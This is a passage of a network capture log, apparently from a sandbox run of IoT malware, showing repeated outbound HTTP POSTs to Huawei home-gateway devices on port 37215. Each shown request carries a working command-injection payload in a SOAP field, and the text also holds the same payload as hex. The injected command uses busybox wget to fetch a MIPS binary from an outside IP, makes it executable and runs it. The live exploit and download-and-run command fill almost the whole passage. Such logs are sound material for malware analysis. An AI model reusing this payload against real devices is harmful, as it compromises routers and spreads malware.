65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1049	192.168.2.13	44244	41.63.10.84	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.586504936 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1050	192.168.2.13	56656	197.178.190.170	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.589247942 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1051	192.168.2.13	45868	156.11.159.189	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.591898918 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1052	192.168.2.13	42580	156.147.58.254	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.594496965 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1053	192.168.2.13	54710	197.82.43.245	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.597254038 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1054	192.168.2.13	46572	41.61.245.7	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.600099087 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1055	192.168.2.13	47622	156.2.52.202	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.602474928 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1056	192.168.2.13	39134	41.227.110.116	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.604927063 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1057	192.168.2.13	53608	197.123.251.41	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.607466936 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1058	192.168.2.13	41624	41.79.254.199	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.610219955 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1059	192.168.2.13	38754	41.148.193.88	37215

Timestamp	Bytes transferred	Direction	Data
